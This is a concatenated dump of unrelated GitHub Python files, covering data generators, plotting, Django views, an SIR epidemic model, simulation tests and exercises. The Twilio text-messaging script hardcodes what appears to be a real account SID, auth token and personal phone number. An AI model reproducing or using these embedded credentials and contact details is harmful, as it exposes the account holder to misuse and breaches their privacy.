pdf = pdf.query(f\"key!='{key}'\")\n\npdf['isfat'] = pdf['key'].map( reg_fat_df.set_index(\"key\")['ishere'])\npdf['isepi'] = pdf['key'].map( reg_epi_df.set_index(\"key\")['ishere'])\npdf['istdlu'] = pdf['key'].map( reg_tdlu_df.set_index(\"key\")['ishere'])\npdf['tissue'] = pdf.apply(tissue, axis=1)\n\npdfo = pdf.groupby([\"code\",\"tissue\"]).mean()\n\npdfo.to_csv(CODED_PATH)\n\npdf[['code','tissue','key','sen']].to_csv(CODED_NUC_PATH)\n\n","repo_name":"scheibye-knudsen-lab/cancer_sen","sub_path":"src/assemble_scores_by_region.py","file_name":"assemble_scores_by_region.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6402354489","text":"from faker import Faker\nimport random\n\n# Contract 1000\n# Person 250\n# Service 15\n# Car 350\n# Model Car 50\n# Equipment 450\n# EquipmentMaintenance 2500\n# CommunicationChanel 19\n# TelecomOperator [0,6]\n\nmyFaker = Faker('en_US')\n\nf = open('/Users/antontimonin/Desktop/Практика/data/Contract1.txt', 'w')\n\ndiaposon = 1001\n\ncard_ids = []\nperson_ids = []\nservice_ids = []\n\ndef formateDate(year):\n if year >= 0 and year < 10:\n return \"0\" + str(year)\n else:\n return str(year)\n\nfor i in range(diaposon):\n f.write(str(i+1) + ';') #contract id\n while (1): \n number = myFaker.pyint(min_value=1, max_value=350, step=1)\n if (number not in card_ids or len(card_ids) >= 350):\n card_ids.append(number)\n f.write(str(number) + ';') #car id\n break\n\n while (1): \n number = myFaker.pyint(min_value=1, max_value=250, step=1)\n if (number not in person_ids or len(person_ids) >= 250):\n person_ids.append(number)\n f.write(str(number) + ';') #person id\n break\n\n while (1): \n number = myFaker.pyint(min_value=1, max_value=15, step=1)\n if (number not in service_ids or len(service_ids) >= 15):\n service_ids.append(number)\n f.write(str(number) + ';') #service id\n break \n\n day1 = myFaker.pyint(min_value=1, max_value=28, step=1)\n month1 = myFaker.pyint(min_value=1, max_value=12, step=1)\n year1 = myFaker.pyint(min_value=0, max_value=20, step=1)\n\n day2 = myFaker.pyint(min_value=1, max_value=28, step=1)\n month2 = myFaker.pyint(min_value=1, max_value=12, step=1)\n year2 = myFaker.pyint(min_value=0, max_value=20, step=1)\n\n if year1 < year2:\n day1, day2 = day2, day1\n month1, month2 = month2, month1\n year1, year2 = year2, year1\n\n elif year1 == year2 :\n if month1 < month2:\n day1, day2 = day2, day1\n month1, month2 = month2, month1\n year1, year2 = year2, year1\n elif month1 == month2:\n if day1 <= day2:\n day1, day2 = day2, day1\n month1, month2 = month2, month1\n year1, year2 = year2, year1\n\n date2 = str(day1) + \".\" + formateDate(month1) + \".\" + formateDate(year1)\n date1 = str(day2) + \".\" + formateDate(month2) + \".\" + formateDate(year2)\n\n f.write(date1 + ';') #date start id\n f.write(date2) #date end id\n f.write('\\n')\n\n#/Users/antontimonin/Desktop\n\nf.close()","repo_name":"timoninas/db-practice","sub_path":"generator/Contract.py","file_name":"Contract.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71474030226","text":"__author__ = 'markus'\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom hw1 import hwplotprep\n\n\ndef dsigmoid(z):\n d = np.exp(-z) / (1 + np.exp(-z)) ** 2\n return d\n\nzs = np.arange(-5, 5, 0.01)\nds = np.arange(zs.shape[0], dtype=np.float64)\nfor i in range(zs.shape[0]):\n ds[i] = dsigmoid(zs[i])\n\nplt.figure()\nplt.plot(zs, ds, linewidth=3)\nplt.xlabel('z')\nplt.ylabel('df(z)')\nhwplotprep()\nplt.savefig('dsigmoid.pdf')","repo_name":"Globegitter/UNC-COMP790-HW1","sub_path":"dsigmoid.py","file_name":"dsigmoid.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28560148117","text":"from nova.api.validation import parameter_types\n\n\ndomain_entry_update = {\n 'type': 'object',\n 'properties': {\n 'domain_entry': {\n 'type': 'object',\n 'properties': {\n 'scope': {\n 'type': 'string',\n 'enum': ['public', 'private'],\n },\n 'project': parameter_types.project_id,\n 'availability_zone': parameter_types.name,\n },\n 'required': ['scope'],\n 'maxProperties': 2,\n 'additionalProperties': False,\n },\n },\n 'required': ['domain_entry'],\n 'additionalProperties': False,\n}\n\n\ndns_entry_update = {\n 'type': 'object',\n 'properties': {\n 'dns_entry': {\n 'type': 'object',\n 'properties': {\n 'ip': parameter_types.ip_address,\n 'dns_type': {\n 'type': 'string',\n 'enum': ['a', 'A'],\n },\n },\n 'required': ['ip', 'dns_type'],\n 'additionalProperties': False,\n },\n },\n 'required': ['dns_entry'],\n 'additionalProperties': False,\n}\n","repo_name":"BU-NU-CLOUD-SP16/Trusted-Platform-Module-nova","sub_path":"nova/api/openstack/compute/schemas/floating_ip_dns.py","file_name":"floating_ip_dns.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"73824523985","text":"\"\"\"Write a version of a palindrome recognizer that also accepts phrase palindromes such as\n\"Go hang a salami I'm a lasagna hog.\", \"Was it a rat I saw?\", \"Step on no pets\", \"Sit on a potato pan, Otis\",\n\"Lisa Bonet ate no basil\", \"Satan, oscillate my metallic sonatas\", \"I roamed under it as a tired nude Maori\",\n\"Rise to vote sir\", or the exclamation \"Dammit, I'm mad!\". Note that punctuation, capitalization, and spacing\nare usually ignored.\"\"\"\n\ns = \"Step on no pets\"\ndef reverse(s):\n\trev = []\n\tfor x in range(1,len(s)+1):\n \trev.append(s[-x])\n\treturn ''.join(rev)\n\ndef removePunc(s,temp):\n \"\"\"Removes punctuation, capitalization, and spacing\"\"\"\n for x in range(len(s)):\n if s[x] not in \" ,?.''\":\n temp.append(s[x].lower())\n\ndef spliter(temp,split1,split2):\n \"\"\"splits given string into half\"\"\"\n for x in range(len(temp)):\n if x= 1]\n\nobj = cp.Minimize((x-y)**2)\n\nprob = cp.Problem(obj, constraints)\nprob.solve()\nprint(\"status:\", prob.status)\nprint(\"optimal value:\", prob.value)\nprint(\"optimal var:\", x.value, y.value)\n\nprint(\"=============\")\n\nprob2 = cp.Problem(cp.Maximize(x+y), prob.constraints)\nprint(\"optimal value:\", prob2.solve())\n\nprint(\"================\")\n\nconstraints = [x+y <= 3] + prob2.constraints[1:]\nprob3 = cp.Problem(prob2.objective, constraints)\nprint(\"optimal value:\", prob3.solve())\n\n","repo_name":"one-for-all/ConvexOptimization","sub_path":"hw3/tutorial_basic.py","file_name":"tutorial_basic.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74462359824","text":"from re import I\nfrom omni.isaac.wheeled_robots.controllers.holonomic_controller import HolonomicController\nimport omni.kit.test\nimport carb\n\nimport omni.graph.core.tests as ogts\nimport omni.graph.core as og\nfrom omni.isaac.core.utils.nucleus import get_assets_root_path\nfrom omni.isaac.core.utils.stage import open_stage_async\nfrom omni.isaac.core.utils.physics import simulate_async\nfrom omni.isaac.core.robots import Robot\n\n\nclass TestHolonomicController(omni.kit.test.AsyncTestCase):\n async def setUp(self):\n pass\n\n # ----------------------------------------------------------------------\n async def tearDown(self):\n pass\n\n # ----------------------------------------------------------------------\n\n async def test_holonomic_drive(self):\n wheel_radius = [0.04, 0.04, 0.04]\n wheel_orientations = [[0, 0, 0, 1], [0.866, 0, 0, -0.5], [0.866, 0, 0, 0.5]]\n wheel_positions = [\n [-0.0980432, 0.000636773, -0.050501],\n [0.0493475, -0.084525, -0.050501],\n [0.0495291, 0.0856937, -0.050501],\n ]\n mecanum_angles = [90, 90, 90]\n velocity_command = [1.0, 1.0, 0.1]\n\n controller = HolonomicController(\n \"test_controller\", wheel_radius, wheel_positions, wheel_orientations, mecanum_angles\n )\n actions = controller.forward(velocity_command)\n self.assertAlmostEqual(actions.joint_velocities[0], -25.105, delta=0.001)\n self.assertAlmostEqual(actions.joint_velocities[1], 14.3182, delta=0.001)\n self.assertAlmostEqual(actions.joint_velocities[2], -14.5417, delta=0.001)\n\n\nclass TestHolonomicControllerOgn(ogts.OmniGraphTestCase):\n async def setUp(self):\n \"\"\"Set up test environment, to be torn down when done\"\"\"\n await ogts.setup_test_environment()\n\n # ----------------------------------------------------------------------\n async def tearDown(self):\n \"\"\"Get rid of temporary data used by the test\"\"\"\n await omni.kit.stage_templates.new_stage_async()\n\n # ----------------------------------------------------------------------\n async def test_holonomic_drive_ogn(self):\n (test_holo_graph, [holo_node, _, _, _, array_node], _, _) = og.Controller.edit(\n {\"graph_path\": \"/ActionGraph\"},\n {\n og.Controller.Keys.CREATE_NODES: [\n (\"HolonomicController\", \"omni.isaac.wheeled_robots.HolonomicController\"),\n (\"XVelocity\", \"omni.graph.nodes.ConstantDouble\"),\n (\"YVelocity\", \"omni.graph.nodes.ConstantDouble\"),\n (\"Rotation\", \"omni.graph.nodes.ConstantDouble\"),\n (\"VelocityCommands\", \"omni.graph.nodes.MakeVector3\"),\n ],\n og.Controller.Keys.SET_VALUES: [\n (\"HolonomicController.inputs:wheelRadius\", [0.04, 0.04, 0.04]),\n (\n \"HolonomicController.inputs:wheelPositions\",\n [\n [-0.0980432, 0.000636773, -0.050501],\n [0.0493475, -0.084525, -0.050501],\n [0.0495291, 0.0856937, -0.050501],\n ],\n ),\n (\n \"HolonomicController.inputs:wheelOrientations\",\n [[0, 0, 0, 1], [0.866, 0, 0, -0.5], [0.866, 0, 0, 0.5]],\n ),\n (\"HolonomicController.inputs:mecanumAngles\", [90, 90, 90]),\n (\"XVelocity.inputs:value\", 1.0),\n (\"YVelocity.inputs:value\", 1.0),\n (\"Rotation.inputs:value\", 0.1),\n ],\n og.Controller.Keys.CONNECT: [\n (\"XVelocity.inputs:value\", \"VelocityCommands.inputs:x\"),\n (\"YVelocity.inputs:value\", \"VelocityCommands.inputs:y\"),\n (\"Rotation.inputs:value\", \"VelocityCommands.inputs:z\"),\n (\"VelocityCommands.outputs:tuple\", \"HolonomicController.inputs:velocityCommands\"),\n ],\n },\n )\n\n await og.Controller.evaluate(test_holo_graph)\n self.assertAlmostEqual(\n og.Controller(og.Controller.attribute(\"outputs:jointVelocityCommand\", holo_node)).get()[0],\n -25.1053,\n delta=0.001,\n )\n self.assertAlmostEqual(\n og.Controller(og.Controller.attribute(\"outputs:jointVelocityCommand\", holo_node)).get()[1],\n 14.3182,\n delta=0.001,\n )\n self.assertAlmostEqual(\n og.Controller(og.Controller.attribute(\"outputs:jointVelocityCommand\", holo_node)).get()[2],\n -14.5417,\n delta=0.001,\n )\n","repo_name":"swadaskar/Isaac_Sim_Folder","sub_path":"exts/omni.isaac.wheeled_robots/omni/isaac/wheeled_robots/tests/test_holonomic_controller.py","file_name":"test_holonomic_controller.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70616593105","text":"import string\n# prints the ten most common words in the text\n\nfile_open = open('../Text_files/romeo.txt', 'r')\ncontents = dict()\nfor line in file_open:\n line = line.translate(str.maketrans('', '', string.punctuation))\n line = line.lower()\n words = line.split()\n for word in words:\n if word not in contents:\n contents[word] = 1\n else:\n contents[word] += 1\n\nlists_contents = list()\nfor key, value in list(contents.items()):\n lists_contents.append((value, key))\n\nlists_contents.sort(reverse=True)\nfor key, value in lists_contents[:10]:\n print(key, value)\n","repo_name":"Irene-Busah/Python-Programming_Course","sub_path":"Python_programming_course/tuple1.py","file_name":"tuple1.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35884262224","text":"# Digit Extractor\n# Tissan Kugathas\n# ICS4U0\n# September 26 2019\n\n\nclass DigitExtractor:\n\n def __init__(self, num):\n self.integer = num\n\n def showWhole(self):\n print('The whole number is:',self.integer)\n\n def showOnes(self):\n string = str(self.integer)\n print('The ones place digit is:',string[len(string)-1])\n\n def showTens(self):\n string = str(self.integer)\n print('The tens place digit is:',string[len(string)-2])\n\n def showHundreds(self):\n string = str(self.integer)\n print('The hundreds place digit is:',string[len(string)-3])\n\n def __repr__(self):\n return ('The whole number is: {}').format(self.showWhole())\n\n\nnumber = DigitExtractor(int(input('Enter an integer: ')))\n\nloop = True \n\nwhile loop:\n print()\n print('Show (W)hole number')\n print('Show (O)nes place number')\n print('Show (T)ens place number')\n print('Show (H)undreds place number')\n print('(Q)uit')\n print()\n user_input = input('Enter your choice: ')\n choice = user_input.upper()\n if choice == 'W':\n number.showWhole()\n elif choice == 'O':\n number.showOnes()\n elif choice == 'T':\n number.showTens()\n elif choice == 'H':\n number.showHundreds()\n elif choice == 'Q':\n loop = False\n \n \n","repo_name":"ktissan13/ICS4U0","sub_path":"Classes and Objects/Digit Extractor.py","file_name":"Digit Extractor.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70878024465","text":"import pandas as pd\n\nfrom plotly import __version__\nfrom plotly import tools\nfrom plotly.offline import download_plotlyjs, plot\nfrom plotly.graph_objs import Scatter, Figure, Layout\n\ndf = pd.read_csv('cce_years.csv', encoding='utf-8')\n\ntrace1 = Scatter(\n x=df['year'],\n y=df['distinct_ids'],\n name='HathiTrust Volume Count
(US publications)',\n line={'color': 'rgba(242, 60, 6, 0.2)'},\n visible = 'legendonly'\n)\ntrace2 = Scatter(\n x=df['year'],\n y=df['distinct_hathitrust_records'],\n name='Unique HathiTrust
Record Count
(US publications)',\n line={'color': 'rgba(42, 212, 222, 1)'},\n)\n\ntrace3 = Scatter(\n x=df['year'],\n y=df['distinct_oclc_numbers'],\n name='Unique HathiTrust
OCLC Number Count
(US publications)',\n line={'color': 'rgba(152, 230, 240, 1)'},\n visible = 'legendonly'\n)\n\n\ntrace4 = Scatter(\n x=df['year'],\n y=df['cce_records'],\n name='Copyright Office Catalog of
Copyright Entries Count',\n line={'color': 'rgba(156, 184, 5, 1)'},\n)\n\ndata = [trace1, trace2, trace3, trace4]\nlayout = Layout(\n barmode='overlay',\n title=\"US Copyright Office CCE Record Count vs
Unique HathiTrust Record and OCLC Number Counts
(all data limited to US place of publication)\",\n xaxis=dict(\n title=\"Year\",\n ),\n yaxis=dict(\n title='Count',\n ),\n bargap=0,\n)\n\nfig = Figure(data=data, layout=layout)\n\nplot(fig, filename='cce_count.html')\n","repo_name":"hadro/hathi_analysis","sub_path":"cce/cce.py","file_name":"cce.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10310755102","text":"from django.db.models import Sum\nfrom django.http import HttpResponse\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom .filters import RecipeFilter\nfrom .models import (FavoriteRecipe, IngredientRecipe, Recipe,\n ShoppingCartRecipe)\nfrom .permissions import IsAuthorOrReadOnly\nfrom .serializers import FollowRecipeSerializer, RecipeSerializer\n\n\nclass RecipeViewSet(ModelViewSet):\n \"\"\"\n Вью сет для вывода списка рецептов, корзины, избранного\n Также позволяет скачивать корзину в формате .txt\n \"\"\"\n queryset = Recipe.objects.all()\n serializer_class = RecipeSerializer\n permission_classes = (IsAuthorOrReadOnly,)\n filter_backends = (DjangoFilterBackend,)\n filterset_class = RecipeFilter\n\n def perform_create(self, serializer):\n serializer.save(author=self.request.user)\n\n @staticmethod\n def __favorite_shopping(request, pk, model, errors):\n if request.method == 'POST':\n if model.objects.filter(user=request.user, recipe__id=pk).exists():\n return Response(\n {'errors': errors['recipe_in']},\n status=status.HTTP_400_BAD_REQUEST\n )\n recipe = get_object_or_404(Recipe, id=pk)\n model.objects.create(user=request.user, recipe=recipe)\n serializer = FollowRecipeSerializer(\n recipe, context={'request': request}\n )\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n recipe = model.objects.filter(user=request.user, recipe__id=pk)\n if recipe.exists():\n recipe.delete()\n return Response(\n {'msg': 'Удалено успешно'},\n status=status.HTTP_204_NO_CONTENT\n )\n return Response(\n {'error': errors['recipe_not_in']},\n status=status.HTTP_400_BAD_REQUEST\n )\n\n @action(\n methods=['POST', 'DELETE'],\n detail=True,\n permission_classes=[IsAuthenticated]\n )\n def favorite(self, request, pk):\n return self.__favorite_shopping(request, pk, FavoriteRecipe, {\n 'recipe_in': 'Рецепт уже добавлен в избранное',\n 'recipe_not_in': 'Рецепт не добавлен в избранное'\n })\n\n @action(\n methods=['POST', 'DELETE'],\n detail=True,\n permission_classes=[IsAuthenticated]\n )\n def shopping_cart(self, request, pk):\n return self.__favorite_shopping(request, pk, ShoppingCartRecipe, {\n 'recipe_in': 'Рецепт уже добавлен в список покупок',\n 'recipe_not_in': 'Рецепта не добавлен в список покупок'\n })\n\n @action(\n detail=False,\n methods=['get'],\n permission_classes=[IsAuthenticated, ]\n )\n def download_shopping_cart(self, request):\n ingredients = IngredientRecipe.objects.filter(\n recipe__carts__user=request.user\n ).values(\n 'ingredient__name', 'ingredient__measurement_unit'\n ).annotate(ingredient_amount=Sum('amount'))\n shopping_list = ['Список покупок:\\n']\n for ingredient in ingredients:\n name = ingredient['ingredient__name']\n unit = ingredient['ingredient__measurement_unit']\n amount = ingredient['ingredient_amount']\n shopping_list.append(f'\\n{name} - {amount}, {unit}')\n response = HttpResponse(shopping_list, content_type='text/plain')\n response['Content-Disposition'] = \\\n 'attachment; filename=\"shopping_cart.txt\"'\n return response\n","repo_name":"YourKeysAreMine/foodgram-project-react","sub_path":"backend/recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6885206807","text":"from twilio import TwilioRestException\nfrom twilio.rest import TwilioRestClient\n\naccount_sid = \"ACab406dc94aa9626ad66b16004f0a6497\" # Your Account SID from www.twilio.com/console\nauth_token = \"94485b490e46a4644569f6bbde1cb6b1\" # Your Auth Token from www.twilio.com/console\n\nclient = TwilioRestClient(account_sid, auth_token)\n\ntry:\n message = client.messages.create(body=\"哈囉 我用電腦傳給你訊息喔\",\n to=\"+886958004230\", # Replace with your phone number\n from_=\"+18478654286\") # Replace with your Twilio number\nexcept TwilioRestException as e:\n print(e)","repo_name":"reggiehsu111/Python-excercise","sub_path":"send_text.py","file_name":"send_text.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"705545123","text":"import numpy as np\nimport pandas as pd\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as mplt\n\ndef Euler(xn,yn,h,MyF,arg):\n return yn+(h*MyF(yn,xn,*arg))\ndef MyFirstODE(y,x):\n return x-y\ndef ExactSolution(x):\n return x-1+2*np.exp(-x)\ndef RungeKuta4(xn,yn,h,g,arg):\n k1=h*g(yn,xn,*arg)\n k2=h*g(yn+h*k1/2,xn+h/2,*arg)\n k3=h*g(yn+h*k2/2,xn+h/2,*arg)\n k4=h*g(yn+h*k3,xn+h,*arg)\n return yn +(k1+2*k2+2*k3+k4)/6\n\nNumPuntos=np.array([11,101,1001,10001])\nx0=0.\nxf=5.\ny0=1.\nh=(xf-x0)/NumPuntos\n\ny1_difference=[]\nyE_difference=[]\nyRK4_difference=[]\n#for j in NumPuntos:\n# EulerSolutions=[]\n# RK4Solutions=[]\n# xs=np.linspace(x0,xf,j)\n# EulerSolutions.append(y0)\n# RK4Solutions.append(y0)\n# for i in xs[1:]:\n# CurrentSolution1=Euler(i,EulerSolutions[-1],((xf-x0)/j),MyFirstODE)\n# CurrentSolution2=RungeKuta4(i,RK4Solutions[-1],((xf-x0)/j),MyFirstODE)\n# EulerSolutions.append(CurrentSolution1)\n# RK4Solutions.append(CurrentSolution2)\n# ys=odeint(MyFirstODE,y0,xs)\n# ys=np.array(ys).flatten()\n# y_exact=ExactSolution(xs)\n# y1_difference.append(np.mean(np.abs(ys-y_exact)))\n# yE_difference.append(np.mean(np.abs(y_exact-EulerSolutions)))\n# yRK4_difference.append(np.mean(np.abs(y_exact-RK4Solutions)))\n\n \n\n#mplt.plot(xs,ys,'r', label='Scipy')\n#mplt.plot(xs,EulerSolutions,'b', label='Euler')\n#\n#mplt.plot(xs,RK4Solutions, label='RK4')\n#mplt.plot(xs,y_exact,'g--',label='Real')\n#mplt.legend()\n#mplt.grid()\n#mplt.xlabel('x')\n#mplt.ylabel('y')\n#mplt.show()\n##IMplementando SIR\ndef SIR(y, t, N, beta, gamma):\n S, I, R = y\n dSdt = -beta * S * I / N\n dIdt = beta * S * I / N - gamma * I # 1/(persona/dia)\n dRdt = gamma * I\n return np.array([dSdt, dIdt, dRdt])\ndef SIR2(y, t):\n S, I, R = y\n dSdt = -0.3 * S * I / 100\n dIdt = 0.3 * S * I / 100 - 0.2 * I # 1/(persona/dia)\n dRdt = 0.2 * I\n return np.array([dSdt, dIdt, dRdt])\nS0=99\nI0=1\nR0=0\ny0 = S0, I0, R0\n\nxf=100\nx0=0\nh=(xf-x0)/1000\nx=np.linspace(x0,xf,1000)\nN=100\nbeta=0.5\ngamma=0.1\nret = odeint(SIR, y0, x,args=(N,beta,gamma))\nSsp, Isp, Rsp = ret.T\n\n\ne=[]\ne.append(y0)\nrk4=[]\nrk4.append(y0)\n\nfor i in x:\n e.append(np.array(Euler(x,e[-1],h,SIR,[N,beta,gamma])))\n rk4.append(np.array(RungeKuta4(x,rk4[-1],h,SIR,[N,beta,gamma])))\nSeul=[]\nIeul=[] \nReul=[]\nSrk4=[]\nIrk4=[]\nRrk4=[]\n\nfor i in range(1,len(e)):\n Seul.append(e[i][0])\n Ieul.append(e[i][1])\n Reul.append(e[i][2])\n Srk4.append(rk4[i][0])\n Irk4.append(rk4[i][1])\n Rrk4.append(rk4[i][2])\nmplt.plot(x,Isp, label='Scipy')\nmplt.plot(x,Ieul, label='Euler')\nmplt.plot(x,Irk4, label='RK4')\nmplt.legend()\nmplt.grid()\nmplt.savefig('solution.png')\nmplt.show()\n\n\n##Convergence\n\n##Using scipy as approximation for exact solution\n\ndef convergence(y_exact,y_est):\n l=np.absolute(y_exact-y_est)\n return l\nmplt.plot(x,convergence(Isp,Ieul),label='Euler')\nmplt.plot(x,convergence(Isp,Irk4),label='RK4')\nmplt.grid()\nmplt.legend()\nmplt.xlabel('t')\nmplt.ylabel('Error')\nmplt.savefig('convergence.png')\nmplt.show()\n##Determinemos sensibilidad a las condicione\ngamma=0.5\nbetar=np.arange(0.1,0.9,0.1)\ngammar=np.arange(0.1,0.9,0.1)\n\ndef getting_variables(e):\n S=[]\n I=[] \n R=[]\n for k in range(1,len(e)):\n S.append(e[k][0])\n I.append(e[k][1])\n R.append(e[k][2])\n return S, I, R\nfor j in betar:\n e=[]\n e.append(y0)\n rk4=[]\n rk4.append(y0)\n\n for i in x:\n e.append(np.array(Euler(x,e[-1],h,SIR,[N,j,0.1])))\n rk4.append(np.array(RungeKuta4(x,rk4[-1],h,SIR,[N,j,0.1])))\n \n Seul,Ieul,Reul=getting_variables(e)\n Srk4,Irk4,Rrk4=getting_variables(rk4)\n mplt.plot(x,Ieul, label=r'$\\beta=$'+str(j))\n #mplt.plot(x,Seul, label='beta='+str(j))\nmplt.legend()\nmplt.grid()\nmplt.savefig('Betas_dependecy.png')\nmplt.show()\n\ndata_conf=pd.read_csv('COVID-19/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv')\ndata_d=pd.read_csv('COVID-19/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_deaths_global.csv')\ndata_R=pd.read_csv('COVID-19/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_recovered_global.csv')\n\ndef dat(data_conf):\n data_conf=data_conf[data_conf['Country/Region']=='China'] \n data_conf=data_conf[data_conf['Province/State']=='Hubei'] ##Se filtra solo la provincia de Hubei\n H_conf=data_conf.values[0][4:] ##Se toman los casos confirmados \n return H_conf\nH_conf=dat(data_conf)\nH_d=dat(data_d)\nH_R=dat(data_R)\n\nH_activos=H_conf-(H_d+H_R)\nH_out=H_d+H_R\ndef chi2(data,fit):\n d=np.abs((data-fit)**2/data)\n return np.sum(d)\nbetas=np.arange(0.0,0.8,0.01)\nomegas=np.arange(0.0,0.9,0.01)\nN1=11e6\nN=N1\ny0=[N1,H_activos[0],H_out[0]]\nx=np.arange(0,len(H_activos),1)\n#for beta in betas:\n# for gamma in omegas:\n# e=[]\n# e.append(y0)\n# rk4=[]\n# rk4.append(y0)\n#\n# for i in x:\n# e.append(np.array(Euler(x,e[-1],h,SIR,[N,beta,gamma])))\n# rk4.append(np.array(RungeKuta4(x,rk4[-1],h,SIR,[N,beta,gamma])))\n# \n# Seul,Ieul,Reul=getting_variables(e)\n# Srk4,Irk4,Rrk4=getting_variables(rk4)\n# if (beta==betas[0] and gamma==omegas[0]):\n# chi=chi2(H_activos[:80],np.array(Ieul)[:80])\n# parameter=[beta,gamma]\n# I=Ieul \n# chi1=chi2(H_activos[:-22],np.array(Ieul)[:-22])\n# if chi1 0:\n data /= data.max()\n data *= 255\n else:\n # clip\n data = data.clip(0, 255)\n # convert to uint8\n data = data.astype('uint8')\n # convert to PIL image\n if channels == 1:\n # drop channel axis\n image = PIL.Image.fromarray(data[:, :, 0])\n elif channels == 3:\n image = PIL.Image.fromarray(data)\n else:\n raise ValueError(\"Unhandled number of channels: %d\" % channels)\n\n return image\n","repo_name":"NVIDIA/DIGITS","sub_path":"digits/extensions/view/imageOutput/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":4106,"dataset":"github-code","pt":"48"} +{"seq_id":"20380425636","text":"def init():\n #RecordtoDbRound = 250\n global definition; definition = \"Table Number: 16 - Scaled Counting\"\n global betIncreaseFactor;betIncreaseFactor = 5\n global tableminimumbet;tableminimumbet = 25\n global tablemaximumbet;tablemaximumbet = 1000\n global decks;decks = 6\n global numberOfPlayers;numberOfPlayers = 2\n global genericplayersnewbies;genericplayersnewbies = 0\n global Strategy;Strategy = 3\n global dealerSoft17;dealerSoft17 = 0\n global increasePercetnage;increasePercetnage = 0\n global set;set = 1\n\n global WalkAway;WalkAway = 0\n global WalkAwayLoss;WalkAwayLoss = -1000\n global WalkAwayWinLimit;WalkAwayWinLimit = 2000\n global WalkAwayWinBigLimit;WalkAwayWinBigLimit = 3000\n global WalkAwayWin;WalkAwayWin = (.8) #of highest purse\n global WalkAwayWinBig;WalkAwayWinBig = (.9) #of highest purse\n\n global BaseCounter;BaseCounter = 1\n global counting;counting = 1\n global reshuffleDecks;reshuffleDecks = 1.5\n global reshuffleStDev;reshuffleStDev = None#.2\n global reshufflePercentage;reshufflePercentage = reshuffleDecks/decks\n global blackjackpayout;blackjackpayout = 3/2\n global discarded;discarded = []\n global players;players = []\n global cardsFaceValues;cardsFaceValues = 14\n global cardsSuitValues;cardsSuitValues = 4\n global dealersvisiblecardvalue;dealersvisiblecardvalue = 0\n global dealersScore;dealersScore = 0\n global fullDecklength;fullDecklength = decks*52\n\n global TablePrefix;TablePrefix = \"v2.0Mit\"\n global MasterId;MasterId= 1\n global TableNumber;TableNumber = 16\n global round;round = 1\n global realCount;realCount = 0.0\n global totalCountPercentage;totalCountPercentage = 0\n global shoe\n global drop;drop =1\n global debug;debug =1\n global SimulationId;SimulationId = TableNumber\n","repo_name":"tlitterio/BlackJack","sub_path":"BlackJackCardCounting/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22176702874","text":"from tkinter import *\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\nl1=['itching', 'skin_rash','nodal_skin_eruptions','continuous_sneezing',\r\n 'shivering', 'chills', 'joint_pain','stomach_pain','acidity',\r\n 'ulcers_on_tongue','muscle_wasting','vomiting','burning_micturition','spotting_ urination',\r\n 'fatigue','weight_gain','anxiety','cold_hands_and_feets','mood_swings','weight_loss','restlessness',\r\n 'lethargy','patches_in_throat','irregular_sugar_level','cough','high_fever','sunken_eyes','breathlessness',\r\n 'sweating','dehydration','indigestion','headache','yellowish_skin','dark_urine','nausea','loss_of_appetite',\r\n 'pain_behind_the_eyes','back_pain','constipation','abdominal_pain','diarrhoea','mild_fever',\r\n 'yellow_urine','yellowing_of_eyes','acute_liver_failure','fluid_overload',\r\n 'swelling_of_stomach','swelled_lymph_nodes','malaise','blurred_and_distorted_vision','phlegm',\t\r\n 'throat_irritation','redness_of_eyes','sinus_pressure','runny_nose','congestion','chest_pain',\t\r\n 'weakness_in_limbs','fast_heart_rate','pain_during_bowel_movements','pain_in_anal_region',\t\r\n 'bloody_stool','irritation_in_anus','neck_pain','dizziness','cramps','bruising','obesity',\t\r\n 'swollen_legs','swollen_blood_vessels','puffy_face_and_eyes','enlarged_thyroid',\t\r\n 'brittle_nails','swollen_extremeties','excessive_hunger','extra_marital_contacts', \t\r\n 'drying_and_tingling_lips','slurred_speech','knee_pain','hip_joint_pain','muscle_weakness',\t\r\n 'stiff_neck','swelling_joints','movement_stiffness','spinning_movements','loss_of_balance',\t\r\n 